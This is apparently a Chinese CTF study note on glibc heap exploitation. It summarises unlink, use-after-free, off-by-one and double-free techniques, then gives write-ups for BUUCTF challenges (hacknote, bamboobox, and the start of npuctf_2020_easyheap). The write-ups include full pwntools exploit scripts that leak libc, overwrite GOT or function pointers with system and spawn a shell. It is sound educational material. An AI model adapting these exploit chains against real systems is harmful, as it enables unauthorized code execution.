堆类
综合模型总结
该类题目目前遇到的题目整体解法:
- 几乎都需要制造溢出
- 泄露libc地址
- 制造任意地址写
溢出的制造方式:
- unlink
- 套路化制造
fake_chunk
- 套路化制造
- UAF
- 释放函数有漏洞未清零,可泄露堆内释放后数据
- OffByOne
- 套路化制造改size位
0x08
偏移导致新堆堆溢出
- 套路化制造改size位
- 直接溢出(明显的无修改长度检查漏洞)
其他攻击方式:
- 当free函数未清零时,制造单链回环结构,导致任意地址写
- 前提条件:任意地址写的size位置需要合法
- 利用版本
- 在低版本可制造
Double Free List
- 高版本(2.27+)可直接制造
Double Free
- 在低版本可制造
- 利用例子
hook
函数地址的任意改写- 程序已知的合法地址任意改写
pwnable_hacknote
分析
堆题,
主要的漏洞/利用点:
在创建内容时,将输出函数地址写入了堆内
在释放堆时,没有对堆进行清零(变成了野指针)
整体特征分析:
- free后未清零(存在堆叠利用可能)
- 堆内内容存在功能函数地址,通过[[UAF]]去修改可间接任意地址调用
思路猜想:
考虑泄露libc地址改程序函数地址为getshell地址
动态调试笔记:
新技巧,x64可以搜索libc内的sh
地址(如果one_gadget无法使用、利用system)
ROPgadget --binary libc-2.23_buuctf* --string "sh"
X86下直接压栈即可;sh;
EXP
整体思路
- 泄露libc
- 任意写函数地址导致间接getshell
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="i386"
isLocal=0
libc=ELF("./x86/libc-2.23_buuctf.so")
filename="/root/hacknote_pwnable"
if isLocal:#7 - libc6_2.23-0ubuntu11.3_i386
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
pause()
else :
p=remote("node4.buuoj.cn",27340)
getshell_addr=0x8048945
def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(content)
def free(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(idx))
def print(idx):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(idx))
elf=ELF(filename)
create(1,b'aaa')
create(23,b'bbb')
#一个堆12字节 构造>=24字节的堆并释放 形成UAF
free(0)
free(1)
print_addr=0x0804862B#puts plt elf.plt["printf"]
print_got=elf.got["printf"]
#重新申请,覆盖了print的函数地址
create(8,p32(print_addr)+p32(print_got))
print(0)#间接调用print(print@got)
leak=u32(p.recv(4))
libc_base=leak-libc.sym["printf"]
log.success("leak=>{}".format(hex(leak))+",libc=>{}".format(hex(libc_base)))#泄露libc
one_gadget=libc_base+libc.sym["system"]#0x5f066
sh_addr=libc_base+0x0000e302#libc内
create(10,b'aaa11')
free(2)
create(8,p32(one_gadget)+b";sh;")#x86直接压栈
print(0)
p.interactive()
hitcontraining_bamboobox
分析
关键利用点:
在修改内容函数下,不检查长度限制(会导致堆溢出)
保护情况:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
特征:
- 堆溢出
- 无PIE
- GOT可写
本题会有一个magic后门函数,但是在BUUCTF平台不适应,故当做无后门题
利用思路:
[[unlink]]
动态调试笔记:
ptr可以往ptr-0x10的方向多试试
unlink后多试试测一测各自修改的偏移是什么,达到任意地址写的偏移,一步步来
EXP
整体思路:
- 制造unlink
- 泄露libc
- 任意地址写
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
context.terminal = ['tmux','splitw','-h']#cmd : tmux
isLocal=0
filename="/root/bamboobox"
if isLocal:
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
else :
p=remote("node4.buuoj.cn",26645)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{
{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def malloc(size,content):
ru("Your choice:")
sl('2')
ru(":")
sl(str(size))
ru("name of item:")
sd(content)
def free(index):
ru("Your choice:")
sl('4')
ru(":")
sl(str(index))
def edit(index,size,content):
ru("Your choice:")
sl('3')
ru("index of item:")
sl(str(index))
ru("length of item name:")
sl(str(size))
ru("the new name of the item:")
sd(content)
def dump():
ru("Your choice:")
sl('1')
ptr=0x0000000006020d8## ptr+0x10
fd=ptr-0x18
bk=ptr-0x10
malloc(0x80,b"aaa\n")
malloc(0x30,b"bbb\n")
malloc(0x80,b"ccc\n")
malloc(0x80,b"ddd\n")
#1.制造unlink
fakechunk=p64(0x0)+p64(0x31)#size=0,presize=0x30
fakechunk+=p64(fd)+p64(bk)#fd,bk
fakechunk+=p64(0)+p64(0)#user data
fakechunk+=p64(0x30)+p64(0x90)#next size
edit(1,0x40,fakechunk)
free(2)#向上合并
dump()
free_got=elf.got["free"]
atoi_got=elf.got["atoi"]
magic_addr=0x000000000400D49#0x00000000004008B1#elf.got[""]
payload=p64(0)+p64(atoi_got)
edit(1,0x10,payload)#ptr-0x10
#先测各自偏移 一步步来
#offset:0 ,ptr:0x6020c8
#offset:1 ,ptr:0x6020c0
#2.泄露libc
dump()
leak=(p.recvuntil("\x7f")[-6:]).ljust(8,b"\x00")
print("leak =>"+leak)
libc_base=u64(leak)-libc.sym["atoi"]
system_addr=libc_base+libc.sym["system"]
#3.任意地址写
payload=p64(system_addr)
edit(0,0x08,payload)#ptr-0x10
pause()
p.interactive()
npuctf_2020_easyheap
分析
堆题
本题主要的利用点,修改内容时会溢出1个字节造成[[OffByOne]]漏洞
看看保护情况:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
GOT可写,无PIE
整体特征:
- 修改时有off by one漏洞
- 创建只能创建
0x18/0x38
的堆 - 有输出
动态调试笔记:
在动态中找静止
事实证明,不需要太多猜想,动态调试内存说明一切,当下的动态调试就是答案
利用思路:
- off by one实现堆溢出
- 堆溢出修改size位,实现任意写
EXP
整体思路:
- OffByOne的特性任意写下一堆块的size实现堆叠
- 泄露出libc
- 任意地址写
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/npuctf_2020_easyheap"
p=remote("node4.buuoj.cn",29561)#process(name)#remote("node4.buuoj.cn",29714)remote("node4.buuoj.cn",29561)#
libc=ELF("./x64/libc-2.27_buuctf.so")
#p=process(name)#
elf=ELF(name)
def create(size, content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap(0x10 or 0x20 only)